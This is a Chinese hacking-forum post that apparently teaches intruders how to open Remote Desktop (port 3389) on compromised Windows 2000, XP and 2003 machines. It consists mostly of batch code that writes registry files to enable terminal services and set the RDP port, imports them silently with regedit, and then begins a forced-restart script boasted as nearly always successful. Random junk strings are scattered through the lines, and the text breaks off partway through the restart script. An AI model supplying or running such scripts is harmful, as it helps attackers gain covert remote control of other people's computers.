【原创】跨越3389障碍终极思考
文章首发:[3.A.S.T]http://www.3ast.com.cn/6Q"fp"Y1q'q1s原文作者:柔肠寸断[3.A.S.T]
=========================================
首先给点基础的代码,然后再说障碍 xhv#S1SX M
=========================================
2000生成3389bat代码[code]echo Windows Registry Editor Version 5.00 >2000.reg
echo. >>2000.reg2i}(Q$BQc
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>2000.reg 9nBI BM&b/Jx
echo "Enabled"="0" >>2000.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>2000.reg
echo "ShutdownWithoutLogon"="0" >>2000.reg 'Le V0v8PW:P
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>2000.reg Y!Dp.TD@A%H
echo "EnableAdminTSRemote"=dword:00000001 >>2000.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>2000.reg
echo "TSEnabled"=dword:00000001 >>2000.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>2000.reg *BLp(VM~U5{
echo "Start"=dword:00000002 >>2000.reg 2T Q&J%b_ Io9p
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>2000.reg T?${:y c \"Z;B+V ?}
echo "Start"=dword:00000002 >>2000.reg {nD6Nw7Q&H#g-^
echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>2000.reg
echo "Hotkey"="1" >>2000.reg Hwz-ti3IkS
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>2000.reg
echo "PortNumber"=dword:00000D3D >>2000.reg 8v)d4L8mC(ef
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>2000.reg
echo "PortNumber"=dword:00000D3D >>2000.reg[/code]Win XP&Win 2003生成3389bat代码[code]echo Windows Registry Editor Version 5.00 >3389.reg
echo. >>3389.reg*[0a{d*{
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg6L%i"m~%D1ti\
echo "fDenyTSConnections"=dword:00000000 >>3389.reg"uW)g~2a6`
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.regF*F,q [W}3^[p
echo "PortNumber"=dword:00000d3d >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg
echo "PortNumber"=dword:00000d3d >>3389.reg[/code]其中PortNumber是端口号,00000d3d为3389
通过cmd下“ regedit /s "reg文件路径" ”进行reg文件导入kK7u#@.Hvi-~
但是必须要重新启动,虽然已经表面上开启了R+J:w&Cm/j
给一段比较好的代码,从众多代码中遴选出来的,具有较高的成功率,[color=red][b]基本上重启成功率达到100%[/b][/color]
重启bat代码[code]@ECHO OFF & cd/d %temp% & echo [version] > restart.infM2@w-v+X!}
(set inf=InstallHinfSection DefaultInstall) D[ X:mH)}\9v
echo signature=$chicago$ >> restart.inf
echo [defaultinstall] >> restart.inf